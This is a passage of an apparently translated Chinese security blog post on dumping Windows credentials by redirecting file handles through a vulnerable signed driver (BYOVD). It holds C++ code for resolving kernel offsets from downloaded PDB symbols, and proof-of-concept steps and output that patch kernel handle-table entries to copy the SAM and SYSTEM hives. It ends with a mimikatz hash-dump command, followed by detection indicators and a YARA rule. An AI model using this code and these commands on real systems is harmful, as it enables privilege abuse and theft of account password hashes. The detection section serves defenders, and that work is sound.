structMsfSuperBlock&nbsp;{
char&nbsp; FileMagic[0x20];
&nbsp; &nbsp; DWORD BlockSize;
&nbsp; &nbsp; DWORD FreeBlockMapBlock;
&nbsp; &nbsp; DWORD NumBlocks;
&nbsp; &nbsp; DWORD NumDirectoryBytes;
&nbsp; &nbsp; DWORD Unknown;
&nbsp; &nbsp; DWORD BlockMapAddr;
};
structPdbInfoStreamHeader&nbsp;{
&nbsp; &nbsp; DWORD Version;
&nbsp; &nbsp; DWORD Signature;
&nbsp; &nbsp; DWORD Age;
&nbsp; &nbsp; GUID &nbsp;UniqueId;
};
#pragma&nbsp;pack(pop)

staticboolExtractGuidFromPdb(constchar* pdbPath, GUID& outGuid){
&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(hFile == INVALID_HANDLE_VALUE)&nbsp;returnfalse;

&nbsp; &nbsp; LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE>&nbsp;buf(static_cast<size_t>(sz.QuadPart));
&nbsp; &nbsp; DWORD rd =&nbsp;0;
ReadFile(hFile, buf.data(),&nbsp;static_cast<DWORD>(buf.size()), &rd,&nbsp;nullptr);
CloseHandle(hFile);

if&nbsp;(buf.size() <&nbsp;sizeof(MsfSuperBlock))&nbsp;returnfalse;

// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
staticconstchar&nbsp;kMsfMagic[] =&nbsp;"Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb =&nbsp;reinterpret_cast<MsfSuperBlock*>(buf.data());
if&nbsp;(memcmp(sb->FileMagic, kMsfMagic,&nbsp;sizeof(kMsfMagic) -&nbsp;1) !=&nbsp;0)&nbsp;returnfalse;

&nbsp; &nbsp; DWORD bs = sb->BlockSize;
&nbsp; &nbsp; DWORD nd = sb->NumDirectoryBytes;
if&nbsp;(!bs || !nd)&nbsp;returnfalse;

&nbsp; &nbsp; DWORD nDirBlocks = (nd + bs -&nbsp;1) / bs;
&nbsp; &nbsp; DWORD bmOffset = sb->BlockMapAddr * bs;
if&nbsp;(bmOffset >= buf.size())&nbsp;returnfalse;

// Reconstruct stream directory into contiguous buffer
auto* blockIdx =&nbsp;reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE>&nbsp;dir(nd,&nbsp;0);
&nbsp; &nbsp; DWORD written =&nbsp;0;
for&nbsp;(DWORD i =&nbsp;0; i < nDirBlocks; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; DWORD blkOff = blockIdx[i] * bs;
if&nbsp;(blkOff >= buf.size())&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; DWORD chunk =&nbsp;min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
&nbsp; &nbsp; &nbsp; &nbsp; written += chunk;
&nbsp; &nbsp; }

// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
&nbsp; &nbsp; DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if&nbsp;(numStreams <&nbsp;2)&nbsp;returnfalse;

auto* streamSizes =&nbsp;reinterpret_cast<DWORD*>(dir.data() +&nbsp;4);
auto* flatBlocks =&nbsp;reinterpret_cast<DWORD*>(dir.data() +&nbsp;4&nbsp;+ numStreams *&nbsp;4);

&nbsp; &nbsp; DWORD s0Size = streamSizes[0];
&nbsp; &nbsp; DWORD s0Blocks = (s0Size ==&nbsp;0xFFFFFFFF) ?&nbsp;0&nbsp;: (s0Size + bs -&nbsp;1) / bs;

// Stream 1 first block index sits right after all of stream 0's block indices
&nbsp; &nbsp; DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if&nbsp;(s1BlockOff +&nbsp;sizeof(PdbInfoStreamHeader) > buf.size())&nbsp;returnfalse;

&nbsp; &nbsp; outGuid =&nbsp;reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
returntrue;
}

// PDB Download via WinHTTP from Microsoft Symbol Server
static&nbsp;std::wstring&nbsp;BuildSymSrvUri(const&nbsp;GUID& g, DWORD age,&nbsp;constwchar_t* pdbName){
wchar_t&nbsp;guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
&nbsp; &nbsp; &nbsp; &nbsp; g.Data1, g.Data2, g.Data3,
&nbsp; &nbsp; &nbsp; &nbsp; g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
&nbsp; &nbsp; &nbsp; &nbsp; g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
&nbsp; &nbsp; &nbsp; &nbsp; age);

&nbsp; &nbsp; std::wstring uri =&nbsp;L"/download/symbols/";
&nbsp; &nbsp; uri += pdbName; uri +=&nbsp;L"/";
&nbsp; &nbsp; uri += guid; &nbsp; &nbsp;uri +=&nbsp;L"/";
&nbsp; &nbsp; uri += pdbName;
return&nbsp;uri;
}

staticboolDownloadPdb(const&nbsp;GUID& guid, DWORD age,&nbsp;constwchar_t* pdbNameW,&nbsp;constchar* outPath){
&nbsp; &nbsp; std::wstring uri =&nbsp;BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());

&nbsp; &nbsp; HINTERNET hSess =&nbsp;WinHttpOpen(L"PDBOffsets/1.0",
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_NO_PROXY_NAME,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_NO_PROXY_BYPASS,&nbsp;0);
if&nbsp;(!hSess) {&nbsp;printf("[-] WinHttpOpen failed (%lu)\n",&nbsp;GetLastError());&nbsp;returnfalse; }

&nbsp; &nbsp; HINTERNET hConn =&nbsp;WinHttpConnect(hSess,&nbsp;L"msdl.microsoft.com",
&nbsp; &nbsp; &nbsp; &nbsp; INTERNET_DEFAULT_HTTPS_PORT,&nbsp;0);
&nbsp; &nbsp; HINTERNET hReq = hConn ?&nbsp;WinHttpOpenRequest(hConn,&nbsp;L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_DEFAULT_ACCEPT_TYPES,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_FLAG_SECURE) :&nbsp;nullptr;

auto&nbsp;closeAll = [&] {
if&nbsp;(hReq) &nbsp;WinHttpCloseHandle(hReq);
if&nbsp;(hConn)&nbsp;WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
&nbsp; &nbsp; &nbsp; &nbsp; };

if&nbsp;(!hReq) {&nbsp;closeAll();&nbsp;returnfalse; }

if&nbsp;(!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS,&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_NO_REQUEST_DATA,&nbsp;0,&nbsp;0,&nbsp;0) ||
&nbsp; &nbsp; &nbsp; &nbsp; !WinHttpReceiveResponse(hReq,&nbsp;nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n",&nbsp;GetLastError());
closeAll();
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; DWORD status =&nbsp;0, statusLen =&nbsp;sizeof(status);
WinHttpQueryHeaders(hReq,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
&nbsp; &nbsp; &nbsp; &nbsp; WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);

if&nbsp;(status !=&nbsp;200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
returnfalse;
&nbsp; &nbsp; }

// Read body in chunks
&nbsp; &nbsp; std::vector<BYTE> body;
&nbsp; &nbsp; body.reserve(32&nbsp;*&nbsp;1024&nbsp;*&nbsp;1024);
&nbsp; &nbsp; BYTE chunk[65536];
&nbsp; &nbsp; DWORD rd =&nbsp;0;
while&nbsp;(WinHttpReadData(hReq, chunk,&nbsp;sizeof(chunk), &rd) && rd >&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; body.insert(body.end(), chunk, chunk + rd);

closeAll();

if&nbsp;(body.empty()) {
printf("[-] Empty response from symbol server\n");
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileA(outPath, GENERIC_WRITE,&nbsp;0,&nbsp;nullptr,
&nbsp; &nbsp; &nbsp; &nbsp; CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath,&nbsp;GetLastError());
returnfalse;
&nbsp; &nbsp; }
&nbsp; &nbsp; DWORD wr =&nbsp;0;
WriteFile(hFile, body.data(),&nbsp;static_cast<DWORD>(body.size()), &wr,&nbsp;nullptr);
CloseHandle(hFile);

printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
returntrue;
}

// DbgHelp Symbol Resolution
structSymFindCtx&nbsp;{
constchar* name;
&nbsp; &nbsp; DWORD64 &nbsp; &nbsp; address;
bool&nbsp; &nbsp; &nbsp; &nbsp; found;
};

structTypeFindCtx&nbsp;{
constchar* name;
&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; typeIndex;
bool&nbsp; &nbsp; &nbsp; &nbsp; found;
};

static&nbsp;BOOL CALLBACK&nbsp;OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx){
auto* s =&nbsp;static_cast<SymFindCtx*>(ctx);
if&nbsp;(_stricmp(pInfo->Name, s->name) ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; s->address = pInfo->Address;
&nbsp; &nbsp; &nbsp; &nbsp; s->found =&nbsp;true;
return&nbsp;FALSE;
&nbsp; &nbsp; }
return&nbsp;TRUE;
}

static&nbsp;BOOL CALLBACK&nbsp;OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx){
auto* t =&nbsp;static_cast<TypeFindCtx*>(ctx);
if&nbsp;(_stricmp(pInfo->Name, t->name) ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; t->typeIndex = pInfo->TypeIndex;
&nbsp; &nbsp; &nbsp; &nbsp; t->found =&nbsp;true;
return&nbsp;FALSE;
&nbsp; &nbsp; }
return&nbsp;TRUE;
}

// Returns RVA (offset from module base) of a named global symbol.
static&nbsp;DWORD64&nbsp;ResolveSymbolRva(HANDLE hSym, DWORD64 modBase,&nbsp;constchar* symName){
&nbsp; &nbsp; SymFindCtx ctx{ symName,&nbsp;0,&nbsp;false&nbsp;};
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if&nbsp;(!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return0;
&nbsp; &nbsp; }
return&nbsp;ctx.address - modBase;
}

// Returns byte offset of a named field within a named struct.
static&nbsp;DWORD&nbsp;ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
constchar* structName,&nbsp;constchar* fieldName){
&nbsp; &nbsp; TypeFindCtx tCtx{ structName,&nbsp;0,&nbsp;false&nbsp;};
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if&nbsp;(!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return0;
&nbsp; &nbsp; }

&nbsp; &nbsp; DWORD childCount =&nbsp;0;
if&nbsp;(!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
&nbsp; &nbsp; &nbsp; &nbsp; childCount ==&nbsp;0)
return0;

// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t&nbsp;paramSz =&nbsp;sizeof(TI_FINDCHILDREN_PARAMS) + childCount *&nbsp;sizeof(ULONG);
std::vector<BYTE>&nbsp;paramBuf(paramSz,&nbsp;0);
auto* params =&nbsp;reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
&nbsp; &nbsp; params->Count = childCount;
&nbsp; &nbsp; params->Start =&nbsp;0;

if&nbsp;(!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return0;

// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t&nbsp;wField[256];
MultiByteToWideChar(CP_ACP,&nbsp;0, fieldName,&nbsp;-1, wField,&nbsp;256);

for&nbsp;(DWORD i =&nbsp;0; i < childCount; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; WCHAR* nameW =&nbsp;nullptr;
if&nbsp;(!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;

bool&nbsp;match = (_wcsicmp(nameW, wField) ==&nbsp;0);
LocalFree(nameW); &nbsp;// DbgHelp allocates with LocalAlloc

if&nbsp;(match) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD offset =&nbsp;0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return&nbsp;offset;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

printf("[-] Field not found: %s::%s\n", structName, fieldName);
return0;
}

staticboolResolveKernelOffsets(KernelOffsets& out){
// Locate ntoskrnl.exe
char&nbsp;sysDir[MAX_PATH];
if&nbsp;(!GetSystemDirectoryA(sysDir, MAX_PATH))&nbsp;returnfalse;

char&nbsp;ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH,&nbsp;"%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);

// Extract CodeView PDB info from PE debug directory
&nbsp; &nbsp; PdbCodeViewInfo pdbInfo{};
if&nbsp;(!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
returnfalse;
&nbsp; &nbsp; }

// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for&nbsp;(int&nbsp;i =&nbsp;static_cast<int>(strlen(pdbInfo.PdbFileName)) -&nbsp;1; i >=&nbsp;0; i--) {
if&nbsp;(pdbInfo.PdbFileName[i] ==&nbsp;'\\'&nbsp;|| pdbInfo.PdbFileName[i] ==&nbsp;'/') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pdbName = &pdbInfo.PdbFileName[i +&nbsp;1];
break;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
printf("[*] PDB: %s &nbsp;Age: %lu\n", pdbName, pdbInfo.Age);

// Local cache path: %TEMP%\<pdbname>
char&nbsp;tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char&nbsp;localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH,&nbsp;"%s%s", tempDir, pdbName);

// Validate cached PDB by checking its MSF stream-1 GUID
bool&nbsp;needDownload =&nbsp;true;
&nbsp; &nbsp; DWORD attr =&nbsp;GetFileAttributesA(localPdb);
if&nbsp;(attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
&nbsp; &nbsp; &nbsp; &nbsp; GUID cachedGuid{};
if&nbsp;(ExtractGuidFromPdb(localPdb, cachedGuid) &&&nbsp;IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; needDownload =&nbsp;false;
&nbsp; &nbsp; &nbsp; &nbsp; }
else&nbsp;{
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

if&nbsp;(needDownload) {
wchar_t&nbsp;pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP,&nbsp;0, pdbName,&nbsp;-1, pdbNameW, MAX_PATH);
if&nbsp;(!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
returnfalse;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);

// Use a unique fake handle so DbgHelp doesn't collide with any real process
&nbsp; &nbsp; HANDLE hSym =&nbsp;reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if&nbsp;(!SymInitialize(hSym,&nbsp;nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n",&nbsp;GetLastError());
returnfalse;
&nbsp; &nbsp; }

wchar_t&nbsp;localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP,&nbsp;0, localPdb,&nbsp;-1, localPdbW, MAX_PATH);

const&nbsp;DWORD64 kFakeBase =&nbsp;0x10000000ULL;
&nbsp; &nbsp; DWORD64 modBase =&nbsp;SymLoadModuleExW(hSym,&nbsp;nullptr, localPdbW,&nbsp;nullptr,
&nbsp; &nbsp; &nbsp; &nbsp; kFakeBase,&nbsp;0,&nbsp;nullptr,&nbsp;0);
if&nbsp;(modBase ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; DWORD err =&nbsp;GetLastError();
if&nbsp;(err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
returnfalse;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; modBase = kFakeBase; &nbsp;// already loaded
&nbsp; &nbsp; }

printf("[+] PDB loaded at base 0x%llX\n", modBase);

// Resolve EPROCESS field offsets
&nbsp; &nbsp; out.ObjectTable =&nbsp;ResolveFieldOffset(hSym, modBase,&nbsp;"_EPROCESS",&nbsp;"ObjectTable");
&nbsp; &nbsp; out.UniqueProcessId =&nbsp;ResolveFieldOffset(hSym, modBase,&nbsp;"_EPROCESS",&nbsp;"UniqueProcessId");
&nbsp; &nbsp; out.ActiveProcessLinks =&nbsp;ResolveFieldOffset(hSym, modBase,&nbsp;"_EPROCESS",&nbsp;"ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
&nbsp; &nbsp; out.PsInitialSystemProcess =&nbsp;ResolveSymbolRva(hSym, modBase,&nbsp;"PsInitialSystemProcess");
&nbsp; &nbsp; out.ObHeaderCookie =&nbsp;ResolveSymbolRva(hSym, modBase,&nbsp;"ObHeaderCookie");

SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);

return1;
}

概念验证

先启动漏洞驱动服务:

scstart&nbsp;gdrv

然后直接跑二进制:

[*] Kernel&nbsp;image:&nbsp;C:\WINDOWS\system32\ntoskrnl.exe
[*]&nbsp;PDB:&nbsp;ntkrnlmp.pdb &nbsp;Age:1
[+] Valid cached&nbsp;PDB:&nbsp;C:\Users\s12de\AppData\Local\Temp\ntkrnlmp.pdb
[+] PDB loaded at base&nbsp;0x10000000
[+] Offsets OK |&nbsp;ObjectTable:0x300
[+]&nbsp;ntoskrnl:0xFFFFF804D0E00000

PsInitialSystemProcess address fffff804d1dc6af0

System&nbsp;EPROCESS:&nbsp;ffffc108516ae040
System&nbsp;PID:4

EPROCESS&nbsp;found:&nbsp;ffffc1085a2af080
[+]&nbsp;hVictim:0x00000000000000D0
[+]&nbsp;TableBase:0xFFFFD68F543DC000

[+]&nbsp;Entry:0xFFFFD68F543DC340
[+] Original&nbsp;LowQword:0xC1085E9379B00001

Copying SAM
[+] File&nbsp;ObjectTypeIndex:42
[+] Found!PID:4&nbsp;|&nbsp;Object:&nbsp;FFFFC108558D6580 |&nbsp;Name:&nbsp;\Windows\System32\config\SAM
[debug] total File handles&nbsp;checked:32
[+]&nbsp;FILE_OBJECT:&nbsp;FFFFC108558D6580
[+] Original&nbsp;lowQword:&nbsp;C1085E9379B00001
[+] New &nbsp; &nbsp; &nbsp;lowQword:&nbsp;C108558D65500001
Write primitive sent successfully. Bytes&nbsp;returned:0
[+] LowQword patched
[+] Handle resolves&nbsp;to:&nbsp;\\?\C:\Windows\System32\config\SAM
[*] EOF at offset&nbsp;0x20000 |&nbsp;err:380x20000 | chunk&nbsp;65536&nbsp;| total&nbsp;131072

[+]&nbsp;Done:&nbsp;C:\Users\Public\SAM.bak&nbsp;=131072&nbsp;bytes
Write primitive sent successfully. Bytes&nbsp;returned:0
[+] LowQword restored

Copying SYSTEM
[+] File&nbsp;ObjectTypeIndex:42
[+] Found!PID:4&nbsp;|&nbsp;Object:&nbsp;FFFFC108580B6A30 |&nbsp;Name:&nbsp;\Windows\System32\config\SYSTEM
[debug] total File handles&nbsp;checked:9
[+]&nbsp;FILE_OBJECT:&nbsp;FFFFC108580B6A30
[+] Original&nbsp;lowQword:&nbsp;C1085E9379B00001
[+] New &nbsp; &nbsp; &nbsp;lowQword:&nbsp;C108580B6A000001
Write primitive sent successfully. Bytes&nbsp;returned:0
[+] LowQword patched
[+] Handle resolves&nbsp;to:&nbsp;\\?\C:\Windows\System32\config\SYSTEM
[*] EOF at offset&nbsp;0xE80000 |&nbsp;err:38et&nbsp;0xE80000 | chunk&nbsp;65536&nbsp;| total&nbsp;15204352

[+]&nbsp;Done:&nbsp;C:\Users\Public\SYSTEM.bak&nbsp;=15204352&nbsp;bytes
Write primitive sent successfully. Bytes&nbsp;returned:0
[+] LowQword restored

然后打开 mimikatz,把两个文件都传给 dump 命令:

mimikatz # lsadump::sam /system:C:\Users\Public\SYSTEM.bak /sam:C:\Users\Public\SAM.bak

结果如下:

检测

失陷指标(IOC):

漏洞驱动加载:Sysmon EID 6 会在驱动镜像加载时按已知恶意哈希触发告警。这是最早的信号,早于任何句柄操作。

_HANDLE_TABLE_ENTRY.LowQword 在 ObpCreateHandle 之外被修改:需要带异步句柄表扫描的内核完整性监控。

File 句柄解析出的路径与打开时不一致:EDR 行为检测——对比 OpenFile 时的路径与 I/O 发生时经 _FILE_OBJECT 解析出的路径。一个对 notepad.exe 打开的句柄突然从 \Windows\System32\config\SAM 读数据,就是行为异常。

YARA

一条检测该技术的 YARA 规则:

rule&nbsp;FileHandleRedirect_CredDump
{
&nbsp; &nbsp; meta:
&nbsp; &nbsp; &nbsp; &nbsp; author &nbsp; &nbsp; &nbsp;="0x12 Dark Development"
&nbsp; &nbsp; &nbsp; &nbsp; description&nbsp;="Detects binaries implementing File handle redirect for credential access"
&nbsp; &nbsp; &nbsp; &nbsp; reference &nbsp;&nbsp;="https://0x12darkdev.net"
&nbsp; &nbsp; &nbsp; &nbsp; severity &nbsp; &nbsp;="critical"

&nbsp; &nbsp; strings:
// Handle table navigation constants
$tableCode_mask=&nbsp;{&nbsp;4883E?&nbsp;F8&nbsp;} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// tableCode & ~0x3
$entry_calc=&nbsp;{&nbsp;C1E?&nbsp;02&nbsp;6B&nbsp;??10&nbsp;} &nbsp; &nbsp; &nbsp;// (handle/4)*16

// _FILE_OBJECT.FileName offsets
$fname_off1=&nbsp;{&nbsp;66&nbsp;8B&nbsp;4?58&nbsp;} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// mov cx, [rX+0x58] (Length)
$fname_off2=&nbsp;{&nbsp;48&nbsp;8B&nbsp;4?60&nbsp;} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// mov rcx, [rX+0x60] (Buffer)

// NtQuerySystemInformation class 0x10
$sysinfo=&nbsp;{&nbsp;B910000000&nbsp;}

// SAM/SYSTEM hive paths
$sam="\\config\\SAM"&nbsp; &nbsp; ascii wide nocase
$system="\\config\\SYSTEM"&nbsp;ascii wide nocase

// OVERLAPPED I/O pattern
$overlapped="ReadFile"&nbsp;ascii

&nbsp; &nbsp; condition:
&nbsp; &nbsp; &nbsp; &nbsp; uint16(0)&nbsp;==0x5A4D&nbsp;and
$sysinfo&nbsp;and
&nbsp; &nbsp; &nbsp; &nbsp; ($sam&nbsp;or&nbsp;$system) and
$overlapped&nbsp;and
&nbsp; &nbsp; &nbsp; &nbsp; (2&nbsp;of ($tableCode_mask,&nbsp;$entry_calc,&nbsp;$fname_off1,&nbsp;$fname_off2))
}

作者的 YARA 规则合集:https://github.com/S12cybersecurity/YaraRules

结论

文件句柄重定向是一种完全在内核句柄表内运作的凭据访问原语——没有对 lsass 的 OpenProcess,没有 MiniDump,没有 Volume Shadow Copy,也没有注册表 API。

这项技术证明:Windows 里句柄的语义完全由 _HANDLE_TABLE_ENTRY 的内容定义,而与最初那次 OpenProcess 或 CreateFile 调用无关。

译者解读

一、「绕开 lsass」还能再绕一步。 本仓库此前译介的转储路线基本都在 lsass 上做文章:comsvcs.dll 直接调 MiniDump(Head Mare 篇),TrickDump 用纯 NTAPI 分片读内存,DEF CON 34 工坊用 BYOVD 清掉 lsass 的 PS_PROTECTION 再上 nanodump。本文干脆不碰 lsass。SAM hive 虽然被 lsass 独占,但「锁」的语义只存在于打开文件那一刻的共享检查里;内核里只要有一个指向它 _FILE_OBJECT 的合法句柄,读写走的还是缓存管理器既有的数据通路。检测面因此从「盯 lsass 访问」变成「盯句柄表完整性」,后一个位置对防御者苛刻得多。

二、写原语的门槛与形态。 BYOVD 是本仓库的老熟人(当猎手沦为猎物、DEF CON 34、ErrTraffic 与 Cruciferra、打碎求职梦、HoneyMyte——不同形态的「签名驱动滥用」)。本文用的 GIO 驱动在 LOLDrivers 有登记(DrvOps.h 注释里那条 loldrivers.io 链接),IOCTL 0xC3502808 提供内核任意读写。一个顺手的细节:它只改 LowQword、不碰 HighQword,GrantedAccess 沿用 notepad.exe 句柄原有的 GENERIC_READ,不需要伪造访问权限,句柄的授权面始终「合法」。另外 offsets 不是硬编码的,GetOffsets.h 从微软符号服务器拉 PDB、经 DbgHelp 动态解析 _EPROCESS 字段偏移,呼应了 HoneyMyte 篇「动态定位偏移是对硬编码 DKOM 的实战修正」:如今的内核攻击默认字段偏移会随版本漂移。

三、检测侧真正可靠的是哪一层。 原文列的三个 IOC 里,Sysmon EID 6 驱动加载告警是最扎实的一层,手法再花哨,漏洞驱动总得先落地;这层的短板是哈希库覆盖时滞,ErrTraffic 篇的 DCRCVDrv.sys 未被收录就是例证。第三层「句柄解析路径漂移」是行为检测里最有意思的一层:GetFinalPathNameByHandleW 的验证输出恰好演示了这个信号,句柄打开时是 notepad.exe,I/O 时解析到 \Windows\System32\config\SAM。至于第二层「LowQword 在 ObpCreateHandle 之外被改」的内核完整性监控,现实里几乎没有产品做到连续扫描,属于理想态。防御者的务实结论仍是老三样:HVCI + 微软漏洞驱动屏蔽列表及时更新 + 把驱动加载事件当高优先级信号。

四、一点边界说明。 PoC 里 GetFinalPathNameByHandleW 每次重定向后都成功解析到 SAM 路径,说明读的是 lsass 持有的同一 _FILE_OBJECT(缓存管理器视图),因此拷出的 hive 是一致快照——这也是 mimikatz 能直接离线解哈希的前提。但该前提依赖 hive 恰好已被 System 进程(PID 4,输出里 Found! PID: 4)以可共享读的方式持有;若目标环境 hive 打开方式不同,句柄枚举这一步可能找不到现成 _FILE_OBJECT。另外 DOMAIN 环境下本地 SAM 只有本机账户,域凭据仍在 lsass 内存里。这条路转的是本地账户库,全域凭据还得上 lsass 里去找。

参考资源

  • 原文:Credential Dumping via File Handle Redirection:https://medium.com/@s12deff/credential-dumping-via-file-handle-redirection-b2fe15b61181
  • 前作 Handle Redirect:https://medium.com/@s12deff/handle-redirect-549902e6d868
  • 作者 YARA 规则合集(S12cybersecurity/YaraRules):https://github.com/S12cybersecurity/YaraRules
  • 所用漏洞驱动(LOLDrivers 收录页):https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
  • 作者课程站(原文内嵌推广):https://0x12darkdev.net

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博生存指南 S12 S12《文件句柄重定向:BYOVD 改写内核句柄表,不碰 lsass 直接拷走 SAM》

    评论:0   参与:  0